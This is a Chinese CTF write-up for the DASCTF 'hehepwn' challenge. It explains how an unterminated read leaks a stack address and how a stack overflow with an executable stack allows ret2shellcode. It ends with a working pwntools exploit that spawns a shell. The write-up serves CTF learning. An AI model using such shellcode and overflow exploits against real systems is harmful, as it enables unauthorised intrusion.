DASCTF-hehepwn writeup

3 篇文章 0 订阅

DASCTF-hehepwn writeup

已上传网盘,方便复现

链接:https://pan.baidu.com/s/1ceYwALaUJn6TIS2eK9TN8w
提取码:ynzg

分析程序

没有开启任何保护,这里注意到开启了栈可执行,存在rwx字段,那么之后可以尝试在栈上执行ret2shellcode
请添加图片描述
使用ida分析程序

在这里可以看到存在堆上内容的泄露

strdup:strdup()会先用maolloc()配置与参数s 字符串相同的空间大小,然后将参数s 字符串的内容复制到该内存地址,然后把该地址返回。该地址最后可以利用free()来释放。

那么我们将read的0x20字全部填充,在没有字符串结尾的情况下,printf就会打印出堆块之后地址的内容
请添加图片描述
main函数中存在栈溢出,没有canary,可以直接覆盖返回地址

请添加图片描述

进行尝试

直到这里还并不知道该怎么攻击,不过既然有一个内存泄露,就先看看泄露出了什么

利用gdb进行调试

请添加图片描述
然后意外的发现,紧跟着我们申请的堆块后的被我们泄露出的地址是栈上的地址

继续跟踪发现是rbp的地址

那么既然泄露出了栈地址,又开启了栈可执行,我们就在栈上ret2shellcode了

exp

from pwn import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')

io = process('./bypwn')
# io = remote('node4.buuoj.cn', 27761)
elf = ELF('./bypwn')
gdb.attach(io)

io.recvuntil(b'well you input:\n')
io.sendline(b'a' * (0x20 - 4) + b'bbbb')
io.recvuntil('bbbb')
#调试发现可泄漏地址为rbp
rbp = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(rbp))

stack = rbp - 0x50

io.recvuntil(b'EASY PWN PWN PWN~\n')

shellcode = asm(shellcraft.sh())
shellcode = shellcode.ljust(0x58, b'a')

payload = shellcode + p64(stack)

io.sendline(payload)

io.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值